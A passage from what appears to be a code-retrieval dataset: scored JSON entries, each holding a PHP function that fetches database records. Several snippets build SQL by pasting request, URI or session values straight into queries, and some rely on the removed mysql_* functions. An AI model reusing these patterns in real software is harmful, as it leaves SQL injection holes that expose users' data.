"public function getRecords()\n {\n return $this->records;\n }", "title": "" }, { "docid": "a5b52bce00f361e19bc791ca592333ef", "score": "0.4805963", "text": "public function get_my_results_recorded() {\n\t\t\tglobal $current_user;\n\t\t\treturn $this->wpa_db->get_results_recorded( $current_user->ID );\n\t\t}", "title": "" }, { "docid": "de67825b931db219a7546044163ac276", "score": "0.47944987", "text": "public function getRecords() {\n\n $this->db->select('*');\n $query = $this->db->get($this->table);\n return $query->result();\n \n \n }", "title": "" }, { "docid": "50353c743f46aa7b49f015a6440f2bba", "score": "0.4740291", "text": "public function get()\n {\n $matchedRecords = [];\n\n $totalRecords = $this->getNumRecords();\n\n // Loop through all records in the database adhering to the limit\n for($x = 0; ($x < $totalRecords\n && count($matchedRecords) < $this->_limit); $x++)\n {\n $row = $this->getRecord($x);\n\n if($this->_where($row))\n {\n foreach($row as $key => $val)\n {\n // Find all fields not in the select array\n if(!in_array($key, $this->_select) && !empty($this->_select))\n {\n unset($row[$key]);\n }\n }\n\n $matchedRecords[] = $row;\n }\n }\n\n return $matchedRecords;\n }", "title": "" }, { "docid": "8764f722b6e77f8d548d9ef5f32a71e2", "score": "0.47294563", "text": "protected function getRecords()\n {\n if (!$this->useStructure || !$this->showTree) {\n return parent::getRecords();\n }\n\n // Find records\n $records = $this->prepareQuery()->getNested();\n\n // Extensibility from parent\n if ($event = $this->fireSystemEvent('backend.list.extendRecords', [&$records])) {\n $records = $event;\n }\n\n return $this->records = $records;\n }", "title": "" }, { "docid": "5c2d36fd700df82c7b919787e3c16ad1", "score": "0.47064897", "text": "public function listRecordings(&$conn, &$user = null) {\n\t\tif ($user === null) {\n\t\t\t$recordingDao = new RecordingDao();\n\t\t\treturn $recordingDao->loadAll(&$conn);\n\t\t} else {\n\t\t\t$userRecordingDao = new UserRecordingDao();\n\t\t\treturn $userRecordingDao->loadAllProgramRecordings(&$conn, &$user);\t\n\t\t}\n\t}", "title": "" }, { "docid": "f9d4afb3d74026a9a3f366b917eda907", "score": "0.4683342", "text": "function readAll ( $from_record_num , $records_per_page )\n {\n // query to read all user records, with limit clause for pagination\n $query = \"SELECT\n id,\n firstname,\n lastname,\n email,\n contact_number,\n access_level,\n created\n FROM \" . $this -> table_name . \"\n ORDER BY id DESC\n LIMIT ?, ?\";\n\n // prepare query statement\n $stmt = $this -> conn -> prepare ( $query );\n\n // bind limit clause variables\n $stmt -> bindParam ( 1 , $from_record_num , PDO::PARAM_INT );\n $stmt -> bindParam ( 2 , $records_per_page , PDO::PARAM_INT );\n\n // execute query\n $stmt -> execute ();\n\n // return values\n return $stmt;\n }", "title": "" }, { "docid": "63cfd556230a222219a1214c18245c69", "score": "0.46762946", "text": "abstract function queryRecords(IUser $user = null);", "title": "" }, { "docid": "fc83b8a3e6d71d73a558a99fa82b3e5c", "score": "0.46581978", "text": "function &getAllRecords($start, $limit, $order = null, $date_ini = '2009-01-01 00:00:00', $date_fin = NOW){\n\t\tglobal $db;\n\t\n\t\tif($order == null){\n\t\t\t$sql = \"SELECT * FROM apdusers OFFSET $start LIMIT $limit \".$_SESSION['ordering'];\n\t\t}else{\n\t\t\t$sql = \"SELECT * FROM apdusers ORDER BY $order \".$_SESSION['ordering'].\" OFFSET $start LIMIT $limit \";\n\t\t}\n\t\t$_SESSION['query'] = $sql;\n\t\tBasic::EventLog(\"apdusers->getAllRecords: \".$sql);\n\t\t$res =& $db->query($sql);\n\t\treturn $res;\n\t}", "title": "" }, { "docid": "08eedfe5dbc4484f97ed269addb30dfb", "score": "0.4648652", "text": "public function getRecordSet()\n {\n $this->stmt->execute();\n if (!$this->stmt->rowCount()):\n return \"No Records Found!\";\n else:\n return $this->stmt->fetchAll();\n endif;\n }", "title": "" }, { "docid": "62ae45452251874a1b2bb11a5a71aefa", "score": "0.46294838", "text": "function &getAllRecords($start, $limit, $order = null, $creby = null){\n\t\tglobal $customers_db,$config;\n\t\t\n\t\t$sql = \"SELECT * FROM \".$config['customers']['customertable'].\" \";\n\n\t\tif ($_SESSION['curuser']['usertype'] == 'admin'){\n\t\t\t$sql .= \" \";\n\t\t}//elseif ($_SESSION['curuser']['usertype'] == 'reseller'){\n\t\t//\t$sql .= \" WHERE clid.resellerid = \".$_SESSION['curuser']['resellerid'].\" \";\n\t\t//}else{\n\t\t//\t$sql .= \" WHERE clid.groupid = \".$_SESSION['curuser']['groupid'].\" \";\n\t\t//}\n\n\t\tif($order == null){\n\t\t\t$sql .= \" LIMIT $start, $limit\";//.$_SESSION['ordering'];\n\t\t}else{\n\t\t\t$sql .= \" ORDER BY $order \".$_SESSION['ordering'].\" LIMIT $start, $limit\";\n\t\t}\n\t\t//echo $sql;exit;\n\t\tCustomer::events($sql);\n\n\t\t$res =& $customers_db->query($sql);\n\t\treturn $res;\n\t}", "title": "" }, { "docid": "90bfc2d6a4a3defa6600df0c0c75890f", "score": "0.46117455", "text": "public function getAllRecords ( )\n\t{\n\t\t$this -> all () ;\n\n\t\tif ( count ( $this -> getList() ) == 0 ) TH\\THttp :: noContent () ; exit (0) ;\n\t\t\n\t\treturn ( $this ) ;\n\t}", "title": "" }, { "docid": "d3fbd7d93303e1da7013c50f7e5a25bb", "score": "0.45891693", "text": "protected function runSelect()\n {\n \t// Determine all of the results\n \t$results = Config::get(\"models.{$this->from}.records\", []);\n\n \t// Return the results\n \treturn $results;\n }", "title": "" }, { "docid": "7bff8a7143bd34c9d8ab5d9cdd0aa817", "score": "0.4584128", "text": "function getRecords($sql, $errorTracker) {\r\n\t\t$resultObjArray = array();\r\n\t\t$rs = mysql_query($sql) or die('Error in Select Query ['.$errorTracker.']: '.mysql_error());\r\n\t\t$i = 0;\r\n\t\twhile($record = mysql_fetch_object($rs)) {\r\n\t\t\t$resultObjArray[$i] = $record;\r\n\t\t\t$i++;\r\n\t\t}\r\n\t\treturn $resultObjArray;\r\n\t}", "title": "" }, { "docid": "8942e5a9a79ee99c32917c3a2c3d0b69", "score": "0.4564524", "text": "public function actionAdminGetRecords() {\n\t\t\tif (!(isset($this->Controller->request->data[$this->Controller->modelClass]['plugin']) &&\n\t\t\t\t\tisset($this->Controller->request->data[$this->Controller->modelClass]['model'] ))) {\n\t\t\t\t$this->Controller->set('json', array('error'));\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$this->Controller->set(\n\t\t\t\t'json',\n\t\t\t\t$this->Controller->{$this->Controller->modelClass}->getRecords(\n\t\t\t\t\t$this->Controller->request->data[$this->Controller->modelClass]['plugin'],\n\t\t\t\t\t$this->Controller->request->data[$this->Controller->modelClass]['model']\n\t\t\t\t)\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "e0cea7fa5435e59c941bfaa7305604ab", "score": "0.45577663", "text": "static function getRecords($user) : Array {\n //\n $selectAll=\"SELECT r.*, l.ShortName, ((TIMESTAMPDIFF(HOUR,r.StartedAt, NOW())+1)*s.Price) as temp_paid\n from Record as r \n JOIN Location as L \n ON r.LocationID = l.LocationID\n JOIN Space as s\n ON r.LocationID = s.LocationID and r.SpaceID = s.SpaceID\n WHERE UserID = :id\n ORDER BY r.RecordID desc\";\n \n self::$db->query($selectAll);\n\n //bind \n self::$db->bind(':id', $user);\n self::$db->execute();\n return self::$db->resultSet();\n \n }", "title": "" }, { "docid": "58278a1f225d0669886770986b741bfb", "score": "0.45569447", "text": "public function getRecords(Request $request)\n {\n $builder = $this->builder;\n\n\n if ($this->hasSearchQuery($request)) {\n $builder = $this->buildSearch($builder, $request);\n }\n\n try {\n return $builder->limit($request->limit)->orderBy('id', 'asc')->get($this->getQueryColumns());\n } catch (QueryException $e) {\n return [];\n }\n }", "title": "" }, { "docid": "5817341cc044268b7307abe90cdf9e83", "score": "0.45559874", "text": "public function getAllRecordsForStage($stage_id);", "title": "" }, { "docid": "87c2239819717278835a29eded229d68", "score": "0.45511824", "text": "public function allRecords(AllRecords $options)\n {\n $options = $this->preparedOptions($options);\n\n return $this->client->post('allRecords', $options);\n }", "title": "" }, { "docid": "9e879d91bc23c259f90e58ab73a6730a", "score": "0.45484504", "text": "public function getRows($num = 0)\n {\n if(function_exists('px_retrieve_record'))\n {\n return px_retrieve_record($this->_pxdoc, $num);\n }\n else\n {\n throw new \\Exception(\n \"Unsupported function (px_retrieve_record) in Paradox extension\"\n );\n }\n }", "title": "" }, { "docid": "9251ff3ff5c3901c80e5834bf959dc57", "score": "0.45411912", "text": "protected function getRecordObjects()\n\t{\n\t\tif(!isset($this->record_objs))\n\t\t{\n\t\t\treturn $this->record_objs = ilAdvancedMDRecord::_getRecords();\n\t\t}\n\t\treturn $this->record_objs;\n\t}", "title": "" }, { "docid": "2818f17038d34b08581e15e606f04297", "score": "0.4533816", "text": "function _getRecords($query) {\r\n $rows = array();\r\n $result = mysql_query($query);\r\n if($result != false ) {\r\n if( mysql_num_rows($result)!=0 ) {\r\n while ($line = mysql_fetch_array($result, MYSQL_NUM)) {\r\n $rows[] = $line;\r\n }\r\n }\r\n }\r\n return( $rows );\r\n }", "title": "" }, { "docid": "486fde55d0ccd81c3a72c7e0379939d4", "score": "0.4503939", "text": "public function getRecords($param_map=array(), $header_map=array())\n {\n return MassEntityAPIHandler::getInstance($this)->getRecords($param_map,$header_map);\n }", "title": "" }, { "docid": "6d31a31cc9414c2b1042fe6720bf58d5", "score": "0.45014724", "text": "function get_records($table_name, $where=NULL) {\n\n $connect = $this->resource_type_string . '_query';\n $num_rows = $this->resource_type_string . '_num_rows';\n $connect_close = $this->resource_type_string . '_close';\n\n /* if where included */\n $qwhere = '';\n if (is_array($where)) {\n $counter = 0;\n foreach ($where as $key => $value) {\n if ($counter > 0) {\n $qwhere .= ' AND ';\n }\n $qwhere .= \"$key = '$value'\";\n $counter++;\n }\n $qwhere = 'WHERE ' . $qwhere;\n }\n $query = \"SELECT * from $table_name $qwhere\";\n\n if ($this->resource_type_string == 'mysqli') {\n $result_resource = $connect($this->connection, $query);\n } else {\n $result_resource = $connect($query, $this->connection);\n }\n\n $noOfrows = $num_rows($result_resource);\n if ($noOfrows > 0) {\n return $this->db_to_array($result_resource);\n } else {\n return NULL;\n }\n }", "title": "" }, { "docid": "1e12faf5ca6c8a02d31629ef58fa27e3", "score": "0.44960192", "text": "function get( $recordId ) {\n global $db;\n\n $sqlRequest = 'SELECT * FROM employee WHERE cust_id '.$recordId; \n if( ( $sqlResult = $db->query( $sqlRequest ) ) === false ) {\n return false;\n }\n return $sqlResult;\n }", "title": "" }, { "docid": "e462f65844c2107fe7b2d5cc9b9ed237", "score": "0.44947794", "text": "public \r\n function allRecords($name = \"Default\", $result_type = MYSQL_BOTH) \r\n {\r\n $array = array();\r\n while ($res = $this->nextRecord($name, $result_type)) \r\n {\r\n $array[] = $res;\r\n }\r\n return $array;\r\n }", "title": "" }, { "docid": "ba2f887ddf16ec3ff6a9496d546a11a6", "score": "0.44852793", "text": "public function getNonRequestedRecords(){\r\n\t\t$user_id = $_SESSION['user_id'];\r\n\r\n\t\t$sql_query = \"select uRecords.user_record_id as recordId, uRecords.record_type as recordType,'patient' as userType,uRecords.created_at as createdAt, udetails.user_name as userName, udetails.user_email as userEmail, udetails.user_id as userId FROM `pe_user_records` as uRecords LEFT JOIN pe_user_details as udetails ON udetails.user_id = uRecords.user_id where uRecords.user_id = '$user_id'\";\r\n\t\tglobal $db;\r\n\t\ttry{\r\n\t\t\t$user_record_details = $db->rawQuery($sql_query);\r\n\t\t\tif(isset($user_record_details[0])){\r\n\t\t\t\treturnSuccess('Records Found',$user_record_details);\r\n\r\n\t\t\t} else {\r\n\t\t\t\treturnSuccess('No Records Found');\r\n\t\t\t}\r\n\t\t} catch (Exception $e){\r\n\t\t\treturnFailure('Some Error Occured: ' . $e->getMessage());\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "03fc5679577e274a2361cfa21758b370", "score": "0.44837782", "text": "public function getRecords($uid=null)\n\t{\n\t\tif ($uid == null)\n\t\t{\n\t\t\t$uid = $this->uid;\n\t\t}\n\t\tif ($uid === null)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t$this->_db->setQuery(\"SELECT * FROM $this->_tbl WHERE uid=\" . $this->_db->quote($uid) . \" ORDER BY created DESC\");\n\t\treturn $this->_db->loadObjectList();\n\t}", "title": "" }, { "docid": "803ac812aeaccc858f026b85b69da257", "score": "0.4469655", "text": "public function getRecords(Request $request)\n {\n $builder = $this->builder;\n\n if ($this->hasSearchQuery($request)) {\n $builder = $this->buildSearch($builder, $request);\n }\n\n try {\n return $builder->limit($request->limit)->orderBy('id', 'asc')->get($this->getDisplayableColumns());\n } catch (QueryException $e) {\n return [];\n }\n }", "title": "" }, { "docid": "cd11e280d8e2a86cbbc19087251f3d00", "score": "0.44596705", "text": "public function getMyRecord_get () {\n\n $user_id = $this->uri->segment(3);\n\n $query = \"SELECT \";\n //$query .= \"internaluser.idInternalUser as user_id, \";\n $query .= \"history.idHistoty as history_id, \";\n $query .= \"record.idRecord as record_id, \";\n $query .= \"history.Status_idStatus as status, \";\n $query .= \"record.LikeNumber as like_num, \";\n $query .= \"record.DislikeNumber as dislike_num, \";\n $query .= \"internaluser.InternalUserType_idInternalUserType as user_type, \";\n $query .= \"content.ContentDescription as content \";\n $query .= \"FROM history \";\n\n $query .= \"INNER JOIN internaluser ON \";\n $query .= \"history.InternalUser_idInternalUser = internaluser.idInternalUser \";\n\n $query .= \"INNER JOIN content ON \";\n $query .= \"history.idHistoty = content.History_idHistoty \";\n\n $query .= \"INNER JOIN record ON \";\n $query .= \"record.idRecord = history.Record_idRecord \";\n\n $query .= \"WHERE \";\n $query .= \"internaluser.idInternalUser = {$user_id} \";\n //$query .= \"ORDER BY history.idHistoty DESC\";\n\n $my_record = $this->db->query($query);\n\n if ($my_record->num_rows() > 0 ) {\n\n $data = $my_record->result();\n $this->response(array(\"status\" => \"success\", \"message\" => array(\n \"user_id\" => $user_id,\n \"about_user_contributions\" => $data,\n )), REST_Controller::HTTP_OK);\n\n } else {\n\n $this->response(array(\"status\" => \"failed\", \"message\" => preg_replace('#[\\n]+#', '', \"This user has no contributions.\")), REST_Controller::HTTP_INTERNAL_SERVER_ERROR);\n\n }\n }", "title": "" }, { "docid": "076e0442c384b05636e24c466577f2fe", "score": "0.44567555", "text": "public function fetch_records(Query $query): array;", "title": "" }, { "docid": "354b3b2e091dae8c2bad2c1b630aca35", "score": "0.4443133", "text": "function get_recordset()\n {\n global $app;\n\t\t$db = new db();\n\t\t$args = func_get_args();\n\t\tswitch (func_num_args()):\n\t\t\tcase 1:\n\t\t\t\t$sql = \"select * from \".$app['table'][$args[0]].\"\";\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\t$sql = \"select * from \".$app['table'][$args[0]].\" where $args[1]\";\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\t$sql = \"select * from \".$app['table'][$args[0]].\" where $args[1] = '$args[2]'\";\n\t\t\t\tbreak;\n\t\tendswitch;\n\t\t//echo $sql;\n\t\tif (!stristr($sql,\"union\")){\n \t\t$db->query($sql, $rs, $nr);\n\t\t}\n\t\t\n \treturn $rs;\n }", "title": "" }, { "docid": "fe3c8f246be414d7f0b3c5ae2dfd1ba3", "score": "0.4440368", "text": "public function show(Records $records)\n {\n //\n }", "title": "" }, { "docid": "97575868e8fd4f6259032eb9079a691c", "score": "0.4437372", "text": "private function getAllTableRecords($records, $last_sync_date)\n\t{\n\t\t$sync_date = ($last_sync_date != null) ? $last_sync_date->updated_at : '';\n\t\t$all_records = '';\n\n\t\tforeach($records as $key => $val):\n\t\t\tif ($val > 0):\n\t\t\t\t$all_records[$key] = DB::table($key)->where('updated_at','>=', $sync_date)->get();\n\t\t\tendif;\n\t\tendforeach;\n\n\t\treturn $all_records;\n\t}", "title": "" }, { "docid": "770f86f42f60a02446a54e59b174ee08", "score": "0.44080767", "text": "function getAllRecords($start, $limit, $order = null){\n\t\tif($order == null){\n\t\t\t$sql = $this->sqlBase . \" LIMIT $start, $limit \".$_SESSION['ordering'];\n\t\t}else{\n\t\t\t$sql = $this->sqlBase . \" ORDER BY $order \".$_SESSION['ordering'].\" LIMIT $start, $limit \";\n\t\t}\n\t\t$res = $this->consultagenerica($sql);\n\t\treturn $res;\n\t}", "title": "" }, { "docid": "83ac498402fc344f36dcc321eb610280", "score": "0.43994397", "text": "public function getAllRecords($sql, $configPath)\n {\n $queryString = $this->_queryStrings[$configPath];\n if (is_array($sql) && isset($sql['data']) && is_array($sql['data'])) {\n $queryString .= '; DATA:' . implode(',', $sql['data']);\n }\n if (!isset($this->_recordCache[$queryString])) {\n $this->_recordCache[$queryString] =&\n $this->_driver->getAllRecords($sql, $configPath);\n }\n return $this->_recordCache[$queryString];\n }", "title": "" }, { "docid": "875fcb94cd88ffdd2901c25174696785", "score": "0.43974978", "text": "public function fetch()\n {\n $data = null;\n $query = \"SELECT * FROM `records` \";\n if($sql = $this->conn->query($query))\n {\n while($row = mysqli_fetch_assoc($sql))\n {\n $data[] = $row;\n //var_dump($data);\n }\n }\n \n return $data;\n }", "title": "" }, { "docid": "381a69826f76a825a1ede0d99ad22edc", "score": "0.43846995", "text": "public function getRecordList() {\r\n\t\treturn $this->recordList;\r\n\t}", "title": "" }, { "docid": "627d2444ca1c987724773c977bed42e9", "score": "0.4380668", "text": "function &getAllRecords($start, $limit, $order = null){\n\t\tglobal $db;\n\t\n\t\tif($order == null){\n\t\t\t$sql = \"select kode,nama\n\t\t\t\t\tfrom m_poly LIMIT $start, $limit \".$_SESSION['ordering'];\n\t\t}else{\n\t\t\t$sql = \"select kode,nama\n\t\t\t\t\tfrom m_poly ORDER BY $order \".$_SESSION['ordering'].\" LIMIT $start, $limit \";\n\t\t}\n\t\tPerson::events($sql);\n\t\t$res =& $db->query($sql);\n\t\treturn $res;\n\t}", "title": "" }, { "docid": "7613c83d6b5d0c4c0de802a3329c80db", "score": "0.43604138", "text": "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new Zoho_CRM_GetSearchRecordsByPDC_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "title": "" }, { "docid": "554966f4bbc12c6fe5ed70f1da8927f1", "score": "0.43523082", "text": "function DRIVE_getAllRecordList($entityName){\n\n\t\tglobal $ch;\n\n\t\t$url = backendUrl . \"/SearchWS/QueryAsEntities\";\n\t\t$params = array('itemQuery' => '{\"distinct\": true,\n\t\t\t\t\t\t\t\t\"groupByItems\": [],\n\t\t\t\t\t\t\t\t\"orderByItems\": [],\n\t\t\t\t\t\t\t\t\"SelectItems\": [],\n\t\t\t\t\t\t\t\t\"entityName\": \"'. $entityName .'\",\n\t\t\t\t\t\t\t\t\"filterItems\": [],\n\t\t\t\t\t\t\t\t\"joinEntities\": []\n\t\t\t\t\t\t\t}'\n\t\t\t\t\t);\n\n\t\t$response=DRIVE_Request($ch, $url,$params);\n\n\t\tif($response == null){\n\t\t\treturn $response;\n\t\t}\n\n\t\treturn $response['result'];\n\n\t}", "title": "" }, { "docid": "2418d57d130d8ffeac237fc53b93d6af", "score": "0.43397832", "text": "function usc_mirc_oai_retrieve_records_or_identifiers($params) {\n module_load_include('inc', 'islandora_oai', 'includes/handler');\n $set = $params['set'];\n $from = $params['from'];\n $until = $params['until'];\n $token = $params['token'];\n $query = NULL;\n $date_query = NULL;\n\n if ($from || $until) {\n $field = variable_get('islandora_oai_date_field', 'fgs_lastModifiedDate_dt');\n\n if ($from) {\n $solr_from = islandora_oai_datetime_to_solr_time($from);\n }\n else {\n $solr_from = '*';\n }\n\n if ($until) {\n $solr_until = islandora_oai_datetime_to_solr_time($until, TRUE);\n }\n else {\n $solr_until = '*';\n }\n $date_query = \"$field:[$solr_from TO $solr_until]\";\n }\n\n if (!isset($set)) {\n $set = NULL;\n }\n $results = usc_mirc_oai_query_solr($token->deliveredrecords, $set, $date_query);\n $records = array();\n foreach ($results['objects'] as $solr_object) {\n $records[] = islandora_oai_construct_record_from_solr_response($solr_object);\n }\n return array(\n 'total_records' => $results['numFound'],\n 'records' => $records,\n );\n}", "title": "" }, { "docid": "cd5a76008913f02251bdbc103cef4edb", "score": "0.4333987", "text": "private function getRecords(){\r\n\t\treturn $this->rgc140();\r\n\t}", "title": "" }, { "docid": "2384ec2c9a4c48e81b216f367a4b3e13", "score": "0.43287647", "text": "public function getMany(array $keys, array &$records, array $filter = null, array $options = null)\n {\n }", "title": "" }, { "docid": "10e6000b5cc756d6f5f59d7ea393a653", "score": "0.42940947", "text": "public function get_records_from_sql($sql)\n\t{\n\t\t$query = $this->db->query($sql);\n\t\treturn $query->result();\n\t\t\n\t}", "title": "" }, { "docid": "4db09ca5afadcee8b7d4f17cffb057a8", "score": "0.42803434", "text": "function get_game_records() {\n if (empty($this->_arrRecords)) {\n $this->_arrRecords = $this->get_tbl_data(TBL_GAME_RECORDS);\n //var_dump ($this->_arrRecords);\n }\n return $this->_arrRecords;\n }", "title": "" }, { "docid": "65cfa03164b56d50e8034440db15c135", "score": "0.4279853", "text": "public function action_getRecords()\n\t{\n\t\tthrow new HTTP_Exception_404(\"Not found for this entity\");\n\t}", "title": "" }, { "docid": "1960330c3d9004fbc65d015729b16bf5", "score": "0.4270628", "text": "public function get_records($table_name, $params = [], $fields = null, $keypair = false)\n {\n $table_name = $this->get_table_name_with_prefix($table_name);\n if (isset($table_name) && $this->table_exists($table_name)) {\n $select = empty($fields) ? '*' : $fields;\n $where = '';\n $count = 0;\n //prepare the query\n foreach ($params as $field => $value) {\n $count++;\n $where .= $count == 1 ? ($field . ' = :' . $field) : (' AND ' . $field . ' = :' . $field);\n }\n //if there are no condition for the where clause\n if (empty($where)) $where = 1;\n\n $sql = 'SELECT ' . $select . ' FROM ' . $table_name . ' WHERE ' . $where;\n //prepare the sql\n $data = $this->pdo->prepare($sql);\n $data->execute($params);\n $fetchmode = $keypair ? \\PDO::FETCH_KEY_PAIR : \\PDO::FETCH_ASSOC;\n $data->setFetchMode($fetchmode);\n //fetch the result\n $result = $data->fetchAll();\n //returns array of object with unique key\n return $result;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "e770e758127aa448bb896deb35602223", "score": "0.42520323", "text": "function _genericSQL_Get($sql){\n\n $records = array();\n $statement = $this->handler->query($sql);\n\n return $statement->fetchAll(\\PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "b2f705d62c7654b72a817a9cd962d024", "score": "0.42488223", "text": "public function query_from_rep_customfields(Array $columns, Array $records,$extraSQL=\"\", $printSQL = false) {\n\t\treturn $this->query ( $this->get_table (), $columns, $records,$extraSQL,$printSQL );\n\t}", "title": "" }, { "docid": "e9fbc22503a23478b61f00362e013b8d", "score": "0.42468005", "text": "public function get_record_info()\n {\n $record_code = get_request_var('record_code', '');\n $developer_code = get_request_var('developer_code', '');\n \n $record_code = trim($record_code);\n $developer_code = trim($developer_code);\n \n $url = _CONST_API_SERVICE_GET_RECORD_INFO;\n $mycurl = new mycurl($url);\n $result = $mycurl\n ->call(http_build_query(array('record_code' => $record_code,\n 'developer_code' => $developer_code)))\n ->get_result();\n echo $result;\n }", "title": "" }, { "docid": "0d859de3ad67802a66c6acef2952035d", "score": "0.42387432", "text": "public function getAllRecordsForUser($appUserId) {\r\n\t\t$record = NULL;\r\n\t\t\r\n\t\t$sqlQuery = \"SELECT * \";\r\n\t\t$sqlQuery .= \"FROM $this->table_TextRecord \";\r\n\t\t$sqlQuery .= \"WHERE $this->col_appUserId='$appUserId' \";\r\n\t\t$sqlQuery .= \"ORDER BY $this->col_timestamp DESC\";\r\n\t\t\r\n\t\t$result = $this->dbManager->executeSelectQuery ( $sqlQuery );\r\n\t\t\r\n\t\tif ($result != NULL) {\r\n\t\t\t$record = $result;\r\n\t\t}\r\n\t\treturn ($record);\r\n\t}", "title": "" }, { "docid": "cf9f8ab50bbd757a40b47faa309ff6ec", "score": "0.4237433", "text": "public function getRecords()\n {\n /** @var $user User */\n $user = Auth::user();\n $owners = Owner::all();\n return Datatables::of($owners)->make(true);\n }", "title": "" }, { "docid": "40d0470dde3648dc3da6bf216154813f", "score": "0.42371392", "text": "public function getADORecordSet();", "title": "" }, { "docid": "4d6103acb1c6bba83251745e9e1cc91a", "score": "0.4232682", "text": "function getRecords($ids = array(), $criteria = '', $include_all = false){\t\t\r\n\t\tif(!$this->list){\r\n\t\t\t\r\n\t\t\tif(!$dir = @opendir(BASIC::init()->root().$this->base)){\r\n\t\t\t\tif(!@mkdir(BASIC::init()->root().$this->base)){\r\n\t\t\t\t\tBASIC_ERROR::init()->setError(BASIC_LANGUAGE::init()->get('access_denied_for_backup_storage'));\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$dir = @opendir(BASIC::init()->root().$this->base);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\twhile ($file_name = readdir($dir)){\r\n\t\t\t\tif($file_name[0] == '.') continue;\r\n\t\t\t\t\r\n\t\t\t\t$this->list[] = array(\r\n\t\t\t\t\t'id' => $file_name,\r\n\t\t\t\t\t'time' => $file_name\r\n\t\t\t\t);\r\n\t\t\t}\r\n\t\t}\r\n\t\t$reader = ComponentReader::getEmptyReader();\r\n\t\t\r\n\t\t$this->paging = new BasicComponentPaging($this->prefix);\r\n\t\t$this->paging->init(count($this->list), $this->maxrow);\r\n\t\t\r\n\t\t$this->list = $this->paging->filterArray($this->list, true);\r\n\t\t$this->list = $this->sorting->sortCollection($this->list);\r\n\t\t\r\n\t\t$reader->addRows($this->list);\r\n\t\t\r\n\t\treturn $reader;\r\n\t}", "title": "" }, { "docid": "5c10cdf1c96070877b4b5715f8ba637f", "score": "0.42271447", "text": "public function getAllRecords()\n {\n //query\n //SELECT * FROM `users` \n //SELECT * FROM $this->table \n $users = [\n [\n 'name' => 'Chiara',\n 'lastname' => 'Passaro',\n 'email' => '[email protected]'\n ],\n [\n 'name' => 'Pippo',\n 'lastname' => 'Uno',\n 'email' => '[email protected]'\n ],\n [\n 'name' => 'Pluto',\n 'lastname' => 'Due',\n 'email' => '[email protected]'\n ],\n ];\n\n return $users;\n }", "title": "" }, { "docid": "931262776924c58ad6cf47ad6becb484", "score": "0.42071292", "text": "protected function readAll()\n\t\t{\n\t\t\t$query = \"SELECT * from \" . $this->getTableName();\n\t\t\t\n\t\t\treturn $this->request($query);\n\t\t}", "title": "" }, { "docid": "d37f8ced1b8190df2a106b73e6d476a0", "score": "0.420343", "text": "public function getRecords($param_map = array(),$header_map=array())\n {\n return RelatedListAPIHandler::getInstance($this->parentRecord, $this)->getRecords($param_map,$header_map);\n }", "title": "" }, { "docid": "72ce167c93677a89efe5ea1880fb3ff7", "score": "0.419103", "text": "function get_records($table,$where = '')\n\t{\n\t\t//$ci será como $this\n\t\t$ci =& get_instance();\n\t\tif ($where) {\n\t\t\t$ci->db->where($where);\n\t\t}\n\t\t$query = $ci->db->get($table);\n\t\tif ($query->num_rows() > 0) {\n\t\t\treturn $query->result();\n\t\t}\n\t\treturn array();\n\t \n\t}", "title": "" }, { "docid": "92bf7418f0cda922942ea52a5e7a61e1", "score": "0.4190262", "text": "public function get_record_data(): array\n {\n return $this->record_data;\n }", "title": "" }, { "docid": "9b8ebbb5dc92028ec9548c69315e543d", "score": "0.41900772", "text": "public function getAllRecords($paginate = 0)\n {\n if ($paginate) {\n return $this->model->paginate($paginate);\n } else {\n return $this->model->all();\n }\n }", "title": "" }, { "docid": "89eb743466dc2c5171ff73987dae499f", "score": "0.4180448", "text": "protected function wrapResults($outputs)\n {\n return new Zoho_CRM_GetMyRecords_Results($outputs);\n }", "title": "" }, { "docid": "6523089264700dbc3f81bec2e2b29349", "score": "0.41782397", "text": "function getRecords(){\n\t\t$stmt = $this->con->prepare(\"SELECT id, cname, fname, number FROM Client ORDER BY created_on DESC\");\n\t\t$stmt->execute();\n\t\t$stmt->bind_result($id, $cname, $fname, $number);\n\t\t\n\t\t$Records = array(); \n\t\t\n\t\twhile($stmt->fetch()){\n\t\t\t$Record = array();\n\t\t\t$Record['id'] = $id; \n\t\t\t$Record['cname'] = $cname; \n\t\t\t$Record['fname'] = $fname; \n $Record['number'] = $number; \n \n\t\t\t\n\t\t\tarray_push($Records, $Record); \n\t\t}\n\t\t\n\t\treturn $Records; \n\t}", "title": "" }, { "docid": "a400a28bd71ed959e9e5347f50758bb3", "score": "0.41736367", "text": "public function getRecordsByQuery($sql, $data = [])\n {\n return $this->fetchByQuery($sql, $data, true);\n }", "title": "" }, { "docid": "dd4aa3f795f2f79adbc7035e18916c69", "score": "0.41731378", "text": "public function execute($inputs = array(), $async = false, $store_results = true)\n {\n return new Zoho_CRM_GetCVRecord_Execution($this->session, $this, $inputs, $async, $store_results);\n }", "title": "" }, { "docid": "ae46ac44b4cf078f3a211016be5a91aa", "score": "0.41693062", "text": "public function getRecordArray()\r\n\t{\r\n\t\tglobal $dbobj;\r\n\t\t$file1 = explode(\"-\",$this->file);\r\n\t\t$file = $file1[1];\r\n\t\t$disp_field = $this->getTableField();\r\n\t\t$ExtraPara = $this->getExtraParamArray();\r\n\t\t$ssql = $this->ssql;\r\n\t\t$tablename = $this->getTableName();\r\n\t\t$var_limit = $this->var_limit;\r\n\t\t$sort =$this->SortList();\r\n\t\t//echo $sort;exit;\r\n\t\t//echo GetVar('tabfile');exit;\r\n\t\t//echo PRJ_DB_PREFIX.'_administrator';\r\n\t\tif($tablename == PRJ_DB_PREFIX.'_administrator `adm`')\r\n\t\t{\r\n\t\t\t$disp_field .= ',eType';\r\n\t\t}\r\n\t\t$sql_select = \"select $disp_field from $tablename $ssql order by $sort $var_limit\";\r\n\t\t// echo $sql_select; exit;\r\n\t\t$db_select_rs = $dbobj->MySQLSelect($sql_select);\r\n \treturn $db_select_rs;\r\n\t}", "title": "" }, { "docid": "b88f41e1e4491a2d981fea4936afc95d", "score": 